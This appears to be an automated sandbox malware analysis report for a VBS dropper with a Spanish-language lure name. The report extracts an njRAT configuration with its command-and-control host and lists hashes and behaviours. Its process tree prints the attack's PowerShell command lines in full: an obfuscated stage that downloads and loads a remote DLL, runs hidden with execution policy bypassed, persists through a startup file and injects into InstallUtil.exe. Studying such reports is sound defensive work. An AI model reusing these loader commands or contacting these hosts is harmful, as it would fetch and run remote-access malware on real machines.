Analysis
-
max time kernel
147s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
10/10/2022, 15:45
Static task
static1
Behavioral task
behavioral1
Sample
0521547851_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs
Resource
win7-20220901-en
General
-
Target
0521547851_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs
-
Size
201KB
-
MD5
d31abe34b0270957dea045661492c0e3
-
SHA1
ff2d86a0282fcb7db59040e7ad0b77890bd719fb
-
SHA256
041169b1bab3881a74211ccf368ab7e605a44257bc714fabae64b1c49878bd66
-
SHA512
a93cf31ea7b162405b7c04c506b9944bdb6cf562fac0b22aa4e470bca499494bd09f6cd923a9111fb26de9df7dbae67468c20764a51f3ae28937478f33fdca5a
-
SSDEEP
96:dyYRYFYDnYFLvTfJZf4UbbNhtF/Zldy2ILS8414NEWUvWZ1+AN1qHk:d9uaOAy/ATm45ZJ1qE
Malware Config
Extracted
https://tinyurl.com/2erph6cs
Extracted
njrat
0.7NC
NYAN CAT
nyas22.duckdns.org:57831
8521e1f80fc24
-
reg_key
8521e1f80fc24
-
splitter
@!#&^%$
Signatures
-
Blocklisted process makes network request 3 IoCs
flow pid Process 5 4768 powershell.exe 15 4768 powershell.exe 27 4768 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$%&\567R7854frghjkyhtyf5667.vbs powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4768 set thread context of 260 4768 powershell.exe 89 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4860 powershell.exe 4860 powershell.exe 4768 powershell.exe 4768 powershell.exe -
Suspicious use of AdjustPrivilegeToken 37 IoCs
description pid Process Token: SeDebugPrivilege 4860 powershell.exe Token: SeDebugPrivilege 4768 powershell.exe Token: SeDebugPrivilege 260 InstallUtil.exe Token: 33 260 InstallUtil.exe Token: SeIncBasePriorityPrivilege 260 InstallUtil.exe Token: 33 260 InstallUtil.exe Token: SeIncBasePriorityPrivilege 260 InstallUtil.exe Token: 33 260 InstallUtil.exe Token: SeIncBasePriorityPrivilege 260 InstallUtil.exe Token: 33 260 InstallUtil.exe Token: SeIncBasePriorityPrivilege 260 InstallUtil.exe Token: 33 260 InstallUtil.exe Token: SeIncBasePriorityPrivilege 260 InstallUtil.exe Token: 33 260 InstallUtil.exe Token: SeIncBasePriorityPrivilege 260 InstallUtil.exe Token: 33 260 InstallUtil.exe Token: SeIncBasePriorityPrivilege 260 InstallUtil.exe Token: 33 260 InstallUtil.exe Token: SeIncBasePriorityPrivilege 260 InstallUtil.exe Token: 33 260 InstallUtil.exe Token: SeIncBasePriorityPrivilege 260 InstallUtil.exe Token: 33 260 InstallUtil.exe Token: SeIncBasePriorityPrivilege 260 InstallUtil.exe Token: 33 260 InstallUtil.exe Token: SeIncBasePriorityPrivilege 260 InstallUtil.exe Token: 33 260 InstallUtil.exe Token: SeIncBasePriorityPrivilege 260 InstallUtil.exe Token: 33 260 InstallUtil.exe Token: SeIncBasePriorityPrivilege 260 InstallUtil.exe Token: 33 260 InstallUtil.exe Token: SeIncBasePriorityPrivilege 260 InstallUtil.exe Token: 33 260 InstallUtil.exe Token: SeIncBasePriorityPrivilege 260 InstallUtil.exe Token: 33 260 InstallUtil.exe Token: SeIncBasePriorityPrivilege 260 InstallUtil.exe Token: 33 260 InstallUtil.exe Token: SeIncBasePriorityPrivilege 260 InstallUtil.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 1260 wrote to memory of 4860 1260 WScript.exe 85 PID 1260 wrote to memory of 4860 1260 WScript.exe 85 PID 4860 wrote to memory of 4768 4860 powershell.exe 87 PID 4860 wrote to memory of 4768 4860 powershell.exe 87 PID 4768 wrote to memory of 260 4768 powershell.exe 89 PID 4768 wrote to memory of 260 4768 powershell.exe 89 PID 4768 wrote to memory of 260 4768 powershell.exe 89 PID 4768 wrote to memory of 260 4768 powershell.exe 89 PID 4768 wrote to memory of 260 4768 powershell.exe 89 PID 4768 wrote to memory of 260 4768 powershell.exe 89 PID 4768 wrote to memory of 260 4768 powershell.exe 89 PID 4768 wrote to memory of 260 4768 powershell.exe 89
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0521547851_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1260 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIBQgFCCvAK8AFCCvABMgEyCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADIAWABaAC8AcwByAG⌚⌚⌚AZgBvAG0ALwB3AG⌚⌚⌚AbgAvADQANwAuADAANQAuADMAMQAyAC4AMQA5AC8ALwA6AHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnACQAJQAmAC8ANQA2ADcA⌚⌚⌚gA3ADgANQA0AGYAcgBnAGgAagBrAHkAaAB0AHkAZgA1ADYANgA3ACcAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('–——¯¯—¯––¯', 'C:\Users\Admin\AppData\Local\Temp\0521547851_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4860 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\0521547851_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl.com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.2XZ/srefom/wen/47.05.312.19//:ptth' , $RodaCopy , '$%&/567R7854frghjkyhtyf5667' ))"3⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4768 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"4⤵
- Suspicious use of AdjustPrivilegeToken
PID:260
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD581d91bab2fdd72436e4852d94ea7650d
SHA15652b3c46a0cf75a03859c5707f36fb08f5c631a
SHA25668a3392780a3c6219350a2ca51262a74a2a9d6a1ea84686f38d473f37d0588e1
SHA512df1e3da61c9657a7f0c0eac9ce610798421e138259ec2bf41063b8e8eb8e1c9e6d669aaba675ba16ccdceed1aa3f76b482893dc98f3d6b46cd48d61da7669268
-
Filesize
64B
MD550a8221b93fbd2628ac460dd408a9fc1
SHA17e99fe16a9b14079b6f0316c37cc473e1f83a7e6
SHA25646e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
SHA51227dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0